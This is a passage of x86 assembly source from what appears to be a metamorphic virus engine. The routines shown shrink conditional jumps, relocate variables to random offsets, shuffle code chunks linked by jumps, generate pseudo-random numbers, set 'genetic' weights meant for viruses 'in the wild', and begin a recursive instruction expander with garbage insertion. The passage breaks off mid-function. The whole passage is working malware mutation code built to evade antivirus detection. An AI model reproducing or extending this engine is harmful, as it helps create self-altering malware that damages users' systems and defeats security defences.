;; X(even) + X+1 = JMP(unconditional)
;; NB(3) + E(4) = NB(3)
;; NB(3) + A(7) = NB(3)
;; E(4) + A(7) = NB(3)
;;
;; B(2) + A(7) = NE(5)
;; B(2) + NE(5) = NE (5)
;; NE(5) + A(7) = NE(5)
;;
;; B(2) + E(4) = BE(6)
;; B(2) + BE(6) = BE(6)
;; E(4) + BE(6) = BE(6)
;;
;; NB(3) + BE(6) = JMP(unconditional)
;; NE(5) + BE(6) = JMP (unconditional)


GetRealCheck    proc
                cmp     eax, ebx
                jb    @@1
                mov     ecx, ebx
                mov     edx, eax
                jmp   @@2
        @@1:    mov     ecx, eax
                mov     edx, ebx
        @@2:    test    ecx, 1    ; ECX <= EDX
                jnz   @@NoUnconditional
                sub     edx, 1    ; If Jcc1 == 7x and Jcc2 == 7x+1, it's an
                cmp     ecx, edx  ; unconditional JMP (for example,
                jz    @@UnconditionalJump ; opcodes 74h/75h (JZ/JNZ), etc.
                add     edx, 1
        @@NoUnconditional:
                cmp     ecx, edx  ; If Jcc1 == Jcc2, the result is the same Jcc
                jz    @@ReturnCurrent
                cmp     ecx, 2    ; JB?
                jz    @@Check2_x
                cmp     ecx, 3    ; JAE?
                jz    @@Check3_x
                cmp     ecx, 4    ; JZ?
                jz    @@Check4_x
                cmp     ecx, 5    ; JNZ?
                jnz   @@NoOption
       ;; Check merge with JNZ
       @@Check5_x:
                cmp     edx, 7    ; JNZ + JA?
                jz    @@SetNE     ;   Then, set JNZ
                cmp     edx, 6    ; JNZ + JBE?
                jz    @@UnconditionalJump ; Then, set JMP (unconditional)
                jmp   @@NoOption  ; If there isn't any of these options, it
                                  ; can't be compressed
       ;; Check merge with JB
       @@Check2_x:
                cmp     edx, 4    ; If 2nd < 4, it can't be compressed
                jb    @@NoOption
                cmp     edx, 7    ; If 2nd > 7, it can't be compressed
                ja    @@NoOption
                test    edx, 1    ; JB + JNZ/JA = JNZ
                jnz   @@SetNE
                jmp   @@SetBE     ; JB + JZ/JBE = JBE

       ;; Check merge with JAE
       @@Check3_x:
                cmp     edx, 4    ; JAE + JZ = JAE
                jz    @@SetNB
                cmp     edx, 7    ; JAE + JA = JAE
                jz    @@SetNB
                cmp     edx, 6    ; JAE + JBE = JMP
                jz    @@UnconditionalJump
                jmp   @@NoOption  ; Others can't be compressed

       ;; Check merge with JZ
       @@Check4_x:
                cmp     edx, 6    ; JZ + JBE = JBE
                jz    @@SetBE
                cmp     edx, 7    ; JZ + JA = JAE/JNB
                jnz   @@NoOption
              ;  jmp   @@SetNB

       @@SetNB: mov     eax, 3    ; Set JAE
                ret
       @@SetNE: mov     eax, 5    ; Set JNZ
                ret
       @@SetBE: mov     eax, 6    ; Set JBE
                ret
       @@NoOption:
                mov     eax, 0FFh ; Set "no compression"
       @@ReturnCurrent:
                ret
       @@UnconditionalJump:
                mov     eax, 79h  ; Set JMP
                ret
GetRealCheck    endp
;;
;;
;; End of shrinker
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!VarIdent
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The variable identificator
;; --------------------------
;;
;; Little function that substitutes all the variables referenced along the
;; code by pointers to a table. These pointers will allow later the
;; repositioning of all the variables that are used by the whole code. It's
;; much like the label tables for displacement instructions, but this time
;; for variable referencing.
;;
;; The variables are identified by using the function from the shrinker
;; CheckIfInstructionUsesMem() (which returns EAX true or false) and when
;; the variable only has DeltaRegister as the index.
;;


;;
;; ECX = Delta offset register (must be known)
;; [VariableTable] = Address of buffer to store variables
;; [NumberOfVariables] = Place to store the number of variables
;;
IdentifyVariables proc
                mov     esi, [ebp+InstructionTable]
                mov     edi, [ebp+VariableTable]
                xor     eax, eax
                mov     [ebp+NumberOfVariables], eax ; Initialization

        @@LoopGetVar:
                xor     eax, eax     ; Get the instruction
                mov     al, [esi]    ; Check if it's LEA
                cmp     eax, 0FCh    ; If it is, don't take it in account
                jz    @@NextInstruction
                call    CheckIfInstructionUsesMem ; Get the usage of Mem by
                                                  ; this instruction.
                or      eax, eax              ; EAX = 0?
                jz    @@NextInstruction       ; Then, it doesn't
                mov     al, [esi+1]           ; Get first index
                cmp     eax, ecx              ; Delta register?
                jz    @@DeltaOffsetAt1        ; If it's, jump
                mov     al, [esi+2]           ; Get the second index
                cmp     eax, ecx              ; Delta register?
                jz    @@DeltaOffsetAt2        ; If it's, jump
        @@NextInstruction:
                add     esi, 10h              ; Next instruction
                cmp     esi, [ebp+AddressOfLastInstruction] ; Last instr.?
                jnz   @@LoopGetVar                          ; If not, jump
                jmp   @@SelectNewVariables   ; Jump to regarble the variables.
        @@DeltaOffsetAt1:
                mov     al, [esi+2]          ; Get the index where the Delta
                jmp   @@Continue_01          ; register wasn't
        @@DeltaOffsetAt2:
                mov     al, [esi+1]
        @@Continue_01:
                cmp     eax, 8               ; Is it another index?
                jnz   @@NextInstruction      ; If it is, don't change it.
                mov     eax, [esi+3]         ; Get addition.
                mov     edx, [ebp+VariableTable]     ; Get the variable table
                mov     ebx, [ebp+NumberOfVariables] ; Get the counter of
                                                     ;  variables.
                sub     eax, [ebp+_DATA_SECTION] ; Get the offset inside the
                and     eax, 0FFFFFFF8h          ; data_section
        @@LookForVariable:
                or      ebx, ebx           ; If we haven't found the variable
                jz    @@InsertVariable     ; already inserted, insert it
                cmp     eax, [edx]         ; Check if it exists
                jz    @@VariableExists     ; If exists, jump
                add     edx, 4             ; Check next variable
                sub     ebx, 4
                jmp   @@LookForVariable
       @@InsertVariable:                   ; Insert the variable in the table
                mov     [edx], eax         ; and use EDX as the new variable
                mov     eax, [ebp+NumberOfVariables]  ; entry
                add     eax, 4
                mov     [ebp+NumberOfVariables], eax
       @@VariableExists:
                mov     eax, 00000809h  ; Set the index 9, which means
                mov     [esi+1], eax    ;  "variable identifier".
                mov     [esi+3], edx    ; Variable address at table
                jmp   @@NextInstruction

       @@SelectNewVariables:
                mov     ecx, 20000h / 4    ; Initialize the table of marks
                mov     edi, [ebp+VarMarksTable] ; for variables. This helps
                xor     eax, eax                 ; us to select new variables.
       @@LoopInitializeMarks:
                mov     [edi], eax      ; Initialize with 0s all the table
                add     edi, 4
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopInitializeMarks

;; Now what we are going to do is to get all the variables from the variable
;; table and select a new offset inside the DATA_SECTION for every one. In
;; this way the variables never point to the same place nor have a proportion
;; between them.
                mov     ecx, [ebp+NumberOfVariables] ; Get the table in EBX,
                mov     ebx, [ebp+VariableTable]     ; ECX = number of entries
           @@LoopGetNewVar:
                call    Random           ; Select a new position
                and     eax, 01FFF8h
                add     eax, [ebp+VarMarksTable] ; Get the mark of the var.

                mov     edx, [eax]       ; Is that address already reserved?
                or      edx, edx
                jnz   @@LoopGetNewVar    ; If it is, select another one

                mov     edx, 1           ; Reserve that variable to avoid the
                mov     [eax], edx       ; reselection of the offset
                sub     eax, [ebp+VarMarksTable]
                push    ebx              ; Get the offset inside DATA_SECTION
                mov     ebx, eax
                call    Random           ; Add a random from 0 to 3
                and     eax, 3
                add     eax, ebx
                pop     ebx
                mov     [ebx], eax    ; Set the new address of the variable
                add     ebx, 4
                sub     ecx, 4        ; Next variable
                or      ecx, ecx      ; Have we reached the end?
                jnz   @@LoopGetNewVar ; If not, loop again

                ret                   ; Return
IdentifyVariables endp
;;
;;
;; End of variable identificator
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;; KEYWORD: Key_!Permutator
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The permutator
;;---------------
;;
;; The code here will divide in chunks of code all the disassembled made
;; before, and then linked with jumps. All the labels are also fixed, so
;; the returned permutation could be reassembled without problems.
;;
;; First, the table is generated, then shuffled and after that used to copy
;; the instructions in the order the table says. The table will be generated
;; taking the first instruction address as the beginning of the frame
;; generator, and then creating pairs of "beginnings" and "ends" of portions,
;; for example: x000-x020h, x020h-x070h, x070h-x140h, etc.
;;
;; We keep in every shuffle loop the situation of the first chunk of code,
;; since it's the entrypoint. Moreover, when making the portions we scan for
;; some specific instructions that it's better to not fragment (for example,
;; CALL [API_Address] and APICALL_STORE).
;;
PermutateCode   proc
                xor     eax, eax
                mov     [ebp+NumberOfJumps], eax  ; Initialize this
                mov     edi, [ebp+FramesTable]
                mov     ecx, [ebp+AddressOfLastInstruction]
                mov     eax, [ebp+InstructionTable]
                mov     esi, eax
                sub     ecx, eax ; Number of instructions * 10h

       @@NextFrame:
                call    Random     ; Get a random number between F0h and 1E0h
                and     eax, 0F0h
                add     eax, 0F0h
                mov     [edi], esi ; Set the beginning of the first frame
                add     esi, eax
                mov     [edi+4], esi ; Set the end as beginning+the random
                mov     ebx, esi
    @@LoopCheckInst00:
                sub     ebx, 10h    ; Get the last instruction
                cmp     ebx, [edi]  ; If we meet the first instruction, stop
                jz    @@CheckInst_Next00
                mov     edx, [ebx]  ; Get the pseudoopcode
                and     edx, 0FFh
                cmp     edx, 0FFh         ; Is it NOP?
                jz    @@LoopCheckInst00   ; Then decrease again (ignore it)
                cmp     edx, 0EAh         ; API CALL?
                jnz   @@CheckInst_Next00  ; If not, finish
    @@LoopCheckInst01:
                add     ebx, 10h          ; Get the next address
                cmp     ebx, [ebp+AddressOfLastInstruction] ; If it's the last
                jz    @@CheckInst_Next00                 ; instruction, finish
                mov     edx, [ebx]        ; Get the opcopde
                and     edx, 0FFh
                cmp     edx, 0FFh         ; NOP?
                jz    @@LoopCheckInst01   ; If NOP, loop again
                cmp     edx, 0F6h         ; Check for APICALL_STORE
                jnz   @@CheckInst_Next00  ; If it isn't, continue
                add     ebx, 10h          ; Include APICALL_STORE in the frame
                sub     ebx, esi
                add     eax, ebx
                add     esi, ebx
                mov     [edi+4], esi
    @@CheckInst_Next00:
                mov     ebx, esi          ; Get the address of the last
                jmp   @@DontAdd10hYet     ; instruction of the frame and jump
    @@LoopCheckInst02:
                add     ebx, 10h          ; Next instruction
    @@DontAdd10hYet:
                cmp     ebx, [ebp+AddressOfLastInstruction] ; If it's the last
                jz    @@CheckInst_Next01           ; instruction, finish loop
                mov     edx, [ebx]
                and     edx, 0FFh
                cmp     edx, 0FFh         ; NOP?
                jz    @@LoopCheckInst02   ; If NOP, get the next instruction
                cmp     edx, 0E9h         ; JMP?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0FEh         ; RET?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0EBh         ; JMP Mem?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 0EDh         ; JMP Reg?
                jz    @@CheckInst_IncludeInstruction
                cmp     edx, 70h          ; Jcc?
                jb    @@CheckInst_Next01
                cmp     edx, 7Fh
                ja    @@CheckInst_Next01

  ;; Include the next instructions in the same frame:
  ;; JMP: Include it to avoid strange situations where Jcc + JMP cannot be
  ;;     compressed and then never eliminated (or something like that)
  ;;     (3D problems :)
  ;; RET: The same: we avoid situations where a single RET is pointed by a
  ;;     jump.
  ;; JMP Mem: Same as RET.
  ;; JMP Reg: Same as RET.
  ;; Jcc: To avoid unlinking it from its CMP/TEST from before, and then making
  ;;     the shrinker to eliminate a single CMP/TEST.

    @@CheckInst_IncludeInstruction:
                add     ebx, 10h  ; Add instructions to the frame until all
                push    ebx       ; the conflictive instructions are inserted
                sub     ebx, esi  ; in the same frame. The others don't
                add     eax, ebx  ; matter if they are wherever we want.
                add     esi, ebx
                mov     [edi+4], esi
                pop     ebx
                jmp   @@DontAdd10hYet
    @@CheckInst_Next01:
                add     edi, 8     ; Increase the frame pointer
                sub     ecx, eax
                cmp     ecx, 01E0h ; Are we inside our last instructions?
                jae   @@NextFrame  ; If we aren't, generate another
                or      ecx, ecx   ; If we have arrived until the last
                jz    @@FramesCreationFinished  ; instruction, it's finished.
                mov     [edi], esi           ; Insert the instruction of this
                add     esi, ecx             ; frame and the last instruction.
                mov     [edi+4], esi
                add     edi, 8
    @@FramesCreationFinished:
                mov     [ebp+AddressOfLastFrame], edi ; Set the last frame.
    @@TempLabel:

        ;; Calculate MOD
                mov     eax, edi               ; Get a value we can use for
                mov     ebx, [ebp+FramesTable] ; mask a random number. The
                sub     eax, ebx               ; value is got from the total
                ; EAX = Number of frames * 8   ; number of frames.
                mov     ebx, 8
        @@LoopCalculateMOD:
                shl     ebx, 1
                cmp     ebx, eax
                jb    @@LoopCalculateMOD
                sub     ebx, 8
                mov     [ebp+MODValue], ebx

     ;; Now we have frames that we can permutate. We save the address of
     ;; the first frame to know where to jump when the code is reassembled
                mov     esi, [ebp+FramesTable]
                mov     [ebp+PositionOfFirstInstruction], esi

     ;; The frames are permutated. We have taken in account the first
     ;; instruction and we save everytime the address where the first
     ;; instruction is.
     ;; ESI = Table of frames
     ;; EDI = Address of last frame
                mov     edx, esi
      @@LoopExchange:
                call    Random
                mov     ebx, [ebp+MODValue]
                and     eax, ebx
                add     eax, esi     ; Get frame in EAX

; ; Uncommenting this instruction the engine doesn't permutate anything
; ; (used to avoid getting crazy while finding bugs in regenerated codes)
;                mov     eax, edx

                cmp     eax, edi     ; Frame address > last frame address?
                jae   @@LoopExchange ; If so, get other random frame
                mov     ecx, [eax]   ; Exchange frame at EDX with the random
                mov     ebx, [edx]   ; frame got above.
                mov     [eax], ebx
                mov     [edx], ecx   ; Be aware of first instruction position!
                cmp     edx, [ebp+PositionOfFirstInstruction]
                jnz   @@LookEAX
                mov     [ebp+PositionOfFirstInstruction], eax
                jmp   @@ExchangeNext
         @@LookEAX:
                cmp     eax, [ebp+PositionOfFirstInstruction]
                jnz   @@ExchangeNext
                mov     [ebp+PositionOfFirstInstruction], edx
         @@ExchangeNext:
                add     eax, 4
                add     edx, 4
                mov     ecx, [eax]   ; Exchange frame
                mov     ebx, [edx]
                mov     [eax], ebx
                mov     [edx], ecx
                add     edx, 4       ; Next frame
                cmp     edx, edi     ; Last frame?
                jb    @@LoopExchange ; If not, exchange next

        ;; Now we are going to copy the instructions and update the label
        ;; addresses in the label table. We include NOPs because they can
        ;; have a label over them, and if we eliminate them the label
        ;; updating will be problematic.

                mov     esi, [ebp+InstructionTable]
                mov     edi, [ebp+PermutationResult]
                mov     ebx, [ebp+FramesTable]

                mov     eax, [ebp+PositionOfFirstInstruction]
                cmp     ebx, eax
                jnz   @@InsertJump2
      @@LoopCopyFrame:
                mov     eax, 0FFh
                mov     [ebp+Permut_LastInstruction], eax
                mov     edx, [ebx]      ; Get the start and end address of the
                add     ebx, 4          ; frame and copy the instructions.
                mov     ecx, [ebx]
                add     ebx, 4
      @@LoopCopyInstructions:
                mov     eax, [edx]
                cmp     al, 4Fh         ; If we find a remaining pseudoopcode
                jnz   @@NextInstruction ; 4F from the shrinking part, we
                mov     al, 51h         ; substitute it by the correct one:
                mov     [edx], eax      ; PUSH Mem2/POP Mem
                push    eax
                push    ebx
                mov     ebx, [edx+7]
                mov     eax, 59h
                mov     [ebx], al
                pop     ebx
                pop     eax
         @@NextInstruction:
                mov     [edi], eax      ; Copy the instruction
                mov     eax, [edx+4]
                mov     [edi+4], eax
                mov     eax, [edx+8]
                mov     [edi+8], eax
                mov     [edi+0Ch], edx  ; Set pointer to old code
                mov     [edx+0Ch], edi  ; Set pointer to new code
                mov     eax, [edi]
                and     eax, 0FFh       ; NOP?
                cmp     eax, 0FFh
                jz    @@NextInstruction2
        @@SetLastInstruction:
             ;   mov     eax, [edi]      ; Save opcode for later
             ;   and     eax, 0FFh
                mov     [ebp+Permut_LastInstruction], eax
                jmp   @@NextInstruction3
        @@NextInstruction2:
                mov     eax, [edi+0Bh]   ; Label over a NOP?
                and     eax, 0FFh
                or      eax, eax         ; If so, jump to fix the problem
                jnz   @@SetLastInstruction
        @@NextInstruction3:
                add     edi, 10h         ; Next instruction in the frame
                add     edx, 10h
                cmp     edx, ecx         ; Last instruction in the frame?
                jnz   @@LoopCopyInstructions  ; If not, loop to copy
                mov     eax, [ebp+AddressOfLastFrame] ; Check if it's the last
                cmp     ebx, eax                  ; frame of the code (not of
                jae   @@LastFrameArrived          ; the table)
                mov     eax, [ebx]           ; Get the frame in the table
                cmp     eax, edx             ; Is it the same?
                jz    @@LoopTestIfLastFrame  ; Check if it's the last frame
                                             ; of the permutation table
       @@LastFrameArrived:
                mov     eax, [ebp+Permut_LastInstruction]
                cmp     eax, 0E9h  ; JMP <label> opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0EBh  ; JMP Mem opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0EDh  ; JMP Reg opcode
                jz    @@LoopTestIfLastFrame
                cmp     eax, 0FEh  ; RET
                jz    @@LoopTestIfLastFrame
                mov     [edi+1], edx  ; Set the new label
      @@InsertJump:
                mov     eax, 0E9h     ; JMP opcode
                mov     [edi], al     ; Set the JMP to the new label
                ; EDI = Jump to update
                call    InsertJumpInTable ; Insert it in the table for later
                add     edi, 10h      ; Next instruction
      @@LoopTestIfLastFrame:
                mov     eax, [ebp+AddressOfLastFrame] ; Are we in the end of
                cmp     ebx, eax                   ; the table?
                jae   @@End               ; If so, end instruction copy
                jmp   @@LoopCopyFrame     ; If not, jump to continue the copy
      @@InsertJump2:
                mov     eax, [eax]        ; Get the label
                mov     [edi+1], eax      ; Put it as label (but later will
                jmp   @@InsertJump        ; be substituted)

         ; Here we have all instructions copied, and all the labels and jumps
         ; to other blocks waiting to be updated
      @@End:    mov     [ebp+AddressOfLastInstruction], edi
                                        ; Update last instruction address
                mov     ecx, [ebp+NumberOfLabels]
                mov     edx, [ebp+LabelTable]
        @@LoopUpdateLabel:
                mov     eax, [edx+4]    ; Pointer to old code
                mov     ebx, [eax+0Ch]  ; New position (directly from the
                                        ;  instruction)
                mov     [edx], ebx      ; Set new pointer in label
                add     edx, 8
                sub     ecx, 1
                or      ecx, ecx
                jnz   @@LoopUpdateLabel ; Next entry

        ; Now we update the inserted permutation jumps
        ; EDX = Pointer to label insert point (from the code above)
                mov     ecx, [ebp+NumberOfJumps]
                mov     ebx, [ebp+JumpsTable]
                jmp   @@CheckNumberOfJumps
        @@LoopUpdateJumps:
                mov     esi, [ebx]     ; Jump address
                mov     eax, [esi+1]   ; Get jump destination
                mov     edi, [eax+0Ch] ; Get new address
                mov     [edx], edi     ; Label pointer to new code
                mov     [edx+4], eax   ; Label pointer to old code
                mov     [esi+1], edx   ; Set label in jump
                mov     eax, [ebp+NumberOfLabels]
                add     eax, 1
                mov     [ebp+NumberOfLabels], eax
                add     edx, 8      ; Next new label pointer
                add     ebx, 4      ; Next jump to update
                sub     ecx, 4
        @@CheckNumberOfJumps:
                or      ecx, ecx
                jnz   @@LoopUpdateJumps
         ;; All is OK in this point
                ret
PermutateCode   endp

;; Little function to insert jumps in the table.
InsertJumpInTable proc
                mov     ecx, [ebp+NumberOfJumps]
                mov     edx, [ebp+JumpsTable]
                add     edx, ecx
                mov     [edx], edi
                add     ecx, 4
                mov     [ebp+NumberOfJumps], ecx
                ret
InsertJumpInTable endp

;; Random number generator. It's used along the engine.
Random          proc
                push    edx
                push    ecx
                mov     eax, [ebp+RndSeed1]
                mov     ecx, [ebp+RndSeed2]
                add     eax, ecx
                call    RandomMod1
                xor     eax, [ebp+RndSeed1]
                mov     [ebp+RndSeed1], eax

                mov     ecx, eax
                mov     eax, [ebp+RndSeed2]
                add     [ebp+RndSeed2], ecx
                call    RandomMod2
                xor     eax, [ebp+RndSeed2]
                mov     [ebp+RndSeed2], eax
                xor     eax, [ebp+RndSeed1]
                call    RandomMod2
                pop     ecx
                pop     edx
                ret
Random          endp

RandomMod1      proc
                mov     edx, eax
                and     edx, 1FFFh
                shl     edx, 13h
                and     eax, 0FFFFFE00h
                shr     eax, 0Dh
                or      eax, edx
                add     eax, ecx
                ret
RandomMod1      endp

RandomMod2      proc
                mov     edx, eax
                and     edx, 1FFFFh
                shl     edx, 0Fh
                and     eax, 0FFFFE000h
                shr     eax, 11h
                or      eax, edx
                add     eax, ecx
                ret
RandomMod2      endp

;; Other wide-used function. Returns TRUE or FALSE in EAX.
RandomBoolean   proc
                call    Random
                and     eax, 1
                ret
RandomBoolean   endp


;; Booleans based on a little genetic algorithm. Each boolean is a
;; better-than-random number based on the previous random numbers generated
;; with these ones. The viruses that keep in the wild will have accurated
;; behaviours based on these weights.
RandomBoolean_X000_3 proc
                push    ebx
                mov     ebx, [ebp+Weight_X000_3]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X000_3], ebx
                pop     ebx
                ret
RandomBoolean_X000_3 endp

RandomBoolean_X004_7 proc
                push    ebx
                mov     ebx, [ebp+Weight_X004_7]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X004_7], ebx
                pop     ebx
                ret
RandomBoolean_X004_7 endp

RandomBoolean_X008_11 proc
                push    ebx
                mov     ebx, [ebp+Weight_X008_11]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X008_11], ebx
                pop     ebx
                ret
RandomBoolean_X008_11 endp

RandomBoolean_X012_15 proc
                push    ebx
                mov     ebx, [ebp+Weight_X012_15]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X012_15], ebx
                pop     ebx
                ret
RandomBoolean_X012_15 endp

RandomBoolean_X016_19 proc
                push    ebx
                mov     ebx, [ebp+Weight_X016_19]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X016_19], ebx
                pop     ebx
                ret
RandomBoolean_X016_19 endp

RandomBoolean_X020_23 proc
                push    ebx
                mov     ebx, [ebp+Weight_X020_23]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X020_23], ebx
                pop     ebx
                ret
RandomBoolean_X020_23 endp

RandomBoolean_X024_27 proc
                push    ebx
                mov     ebx, [ebp+Weight_X024_27]
                call    CheckForBooleanWeight
                mov     [ebp+Weight_X024_27], ebx
                pop     ebx
                ret
RandomBoolean_X024_27 endp


;; Function to save code above.
CheckForBooleanWeight proc
                push    ecx
                push    edx
                mov     ecx, ebx    ; Get the sub-weight to use
                cmp     eax, 1
                jz    @@Check1
                cmp     eax, 2
                jz    @@Check2
                cmp     eax, 3
                jz    @@Check3
      @@Check0: and     ecx, 0000000FFh
                mov     edx, 000000001h
                jmp   @@Shr00
      @@Check1: and     ecx, 00000FF00h
                mov     edx, 000000100h
                jmp   @@Shr08
      @@Check2: and     ecx, 000FF0000h
                mov     edx, 000010000h
                jmp   @@Shr10
      @@Check3: and     ecx, 0FF000000h
                mov     edx, 001000000h

       @@Shr18: shr     ecx, 8
       @@Shr10: shr     ecx, 8
       @@Shr08: shr     ecx, 8      ; Set it at the beginning of ECX
       @@Shr00:
                call    Random      ; Get a random number in range 0-255
                and     eax, 0FFh
                cmp     eax, ecx    ; If it's above/equal the weight, jump
                jae   @@Above
      @@Below:  cmp     ecx, 0F8h   ; If it has already the max value, don't
                jae   @@Return0     ; touch the weight
                call    Random
                and     eax, 0Fh    ; True-random modification (some randomness
                or      eax, eax    ; in the life of viriis :)
                jz    @@Return0
                add     ebx, edx    ; Make more probability to FALSE
                add     ecx, 1
                call    Random
                and     eax, 0Fh    ; Again?
                or      eax, eax
                jz    @@Below
     @@Return0: xor     eax, eax
                pop     edx
                pop     ecx
                ret
      @@Above:  cmp     ecx, 08h    ; If it has already the min value, don't
                jb    @@Return1     ; decrease the weight
                call    Random
                and     eax, 0Fh    ; Randomness
                or      eax, eax
                jz    @@Return1
                sub     ebx, edx    ; Make more probability to TRUE
                sub     ecx, 1
                call    Random
                and     eax, 0Fh    ; Again?
                or      eax, eax
                jz    @@Above
     @@Return1: mov     eax, 1
                pop     edx
                pop     ecx
                ret
CheckForBooleanWeight endp
;;
;;
;; End of permutator.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;; KEYWORD: Key_!Xpander
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The expander
;; ------------
;;
;; This routine expands a shrinked pseudo-asm code previously shrinked with
;; the shrinker module. It's more easy to expand here following the
;; single/pairs/triplets rules than encoding it directly in x86 asm.
;;
;; The rules of expansion are exactly the opposite ones that we use for
;; compression. For example:
;;
;; MOV [Mem],Reg
;; MOV Reg2,[Mem]    ---> MOV Reg2,Reg
;;
;; but also:
;;
;; PUSH Reg
;; POP Reg2          ---> MOV Reg2,Reg
;;
;; Then the expansion rule for MOV Reg2,Reg will be:
;;
;; MOV Reg2,Reg      ---> MOV [Mem],Reg + MOV Reg2,[Mem]
;;                   ---> PUSH Reg + POP Reg2
;;
;; where we select randomly one of the possible expansions.
;;
;; All the expansions are performed recursively, so every instruction involved
;; in an expansion will be expanded also, until we reach a recursivity level
;; specified in the variable [SizeOfExpansion] (from X to 3).
;;

XpandCode       proc
                mov     esi, [ebp+InstructionTable] ; Source of expansion
                mov     edi, [ebp+ExpansionResult]  ; Destiny of expansion

    ;; Let's get the register translation. We must have present that DeltaReg
    ;; cannot be EAX, ECX or EDX (due to API calls). Due to the usage of 8
    ;; bits registers, we saved the used 8 bits register while shrinking code,
    ;; so we must select that register first from one of the 4 first ones.

                mov     eax, [ebp+SizeOfExpansion]
                mov     [ebp+Xp_RecurseLevel], eax ; Set the initial
                                                   ; recursivity level

                mov     eax, [ebp+CreatingADecryptor] ; If we are creating
                or      eax, eax                      ; a decryptor, keep the
                jnz   @@KeepRegisterTranslation ; current register translation

                mov     eax, 8
                mov     [ebp+Xp_Register0], eax  ; Initialize the registers
                mov     [ebp+Xp_Register1], eax
                mov     [ebp+Xp_Register2], eax
                mov     [ebp+Xp_Register3], eax
                mov     [ebp+Xp_Register5], eax
                mov     [ebp+Xp_Register6], eax
                mov     [ebp+Xp_Register7], eax
                mov     eax, 4
                mov     [ebp+Xp_Register4], eax  ; Set the ESP
    @@Other8BitsReg:
                call    Random
                and     eax, 7
                cmp     eax, 3                   ; Get a 8 bits register
                ja    @@Other8BitsReg
                mov     ebx, [ebp+Register8Bits]  ; Get the saved register
                call    Xpand_SetRegister4Xlation ; Set the translation
    @@OtherDeltaReg:
                call    Random              ; Get a register
                and     eax, 7
                cmp     eax, 2              ; EAX, ECX or EDX?
                jbe   @@OtherDeltaReg       ; If so, select another
                cmp     eax, 4              ; ESP?
                jz    @@OtherDeltaReg       ; Then, select another
                mov     ebx, [ebp+DeltaRegister]
                call    Xpand_SetRegister4Xlation ; Set the register
                or      eax, eax
                jz    @@OtherDeltaReg       ; Other if it coincides with Reg8
                mov     ebx, -1         ; Set EBX = 0 at first
    @@NextRegister:
                add     ebx, 1
                cmp     ebx, [ebp+DeltaRegister] ; EBX = DeltaRegister?
                jz    @@NextRegister
                cmp     ebx, [ebp+Register8Bits] ; EBX = Register8Bits?
                jz    @@NextRegister
                cmp     ebx, 4                   ; ESP?
                jz    @@NextRegister
                cmp     ebx, 8                   ; End of loop?
                jz    @@EndOfRegisters
    @@OtherRegister:
                call    Random           ; Get a register
                and     eax, 7
                cmp     eax, 4
                jz    @@OtherRegister
                call    Xpand_SetRegister4Xlation ; Try to set the register
                or      eax, eax
                jz    @@OtherRegister    ; If it's set in another one, select
                jmp   @@NextRegister     ; another
    @@EndOfRegisters:
                mov     eax, [ebp+DeltaRegister] ; Get the Delta Register
                call    Xpand_TranslateRegister  ; Translate it
                mov     [ebp+TranslatedDeltaRegister], eax ; Save it
    @@KeepRegisterTranslation:
    
                call    Xp_InsertGarbage
                call    Xp_InsertGarbage
    @@Expand:  ; mov     eax, [esi]
                call    XpandThisInstruction  ; Call to expand the current
                add     esi, 10h              ; instruction
                cmp     esi, [ebp+AddressOfLastInstruction] ; Is it the last?
                jnz   @@Expand                              ; If not, continue
                mov     [ebp+AddressOfLastInstruction], edi
                call    Xpand_UpdateLabels    ; Update the labels along the
                ret                           ; code and finish
XpandCode       endp


;; This function checks if the register passed at EAX exists in any other
;; variable of register translation (i.e. if any other register is translated
;; to that one). If it is, it returns with EAX = 0. If not, sets the number
;; of register in EAX in the register translation variable of the register
;; EBX, and returns with EAX = 1.
Xpand_SetRegister4Xlation proc
                cmp     eax, [ebp+Xp_Register0]  ; Check if the register in
                jz    @@ReturnError              ; EAX is used by other
                cmp     eax, [ebp+Xp_Register1]  ; register to be translated
                jz    @@ReturnError              ; as that one.
                cmp     eax, [ebp+Xp_Register2]
                jz    @@ReturnError              ; If so, return with EAX = 0
                cmp     eax, [ebp+Xp_Register3]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register5]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register6]
                jz    @@ReturnError
                cmp     eax, [ebp+Xp_Register7]
                jz    @@ReturnError
                or      ebx, ebx    ; Jump to the corresponding variable
                jz    @@SetAt0      ; setting to translate the register in
                cmp     ebx, 1      ; EBX.
                jz    @@SetAt1
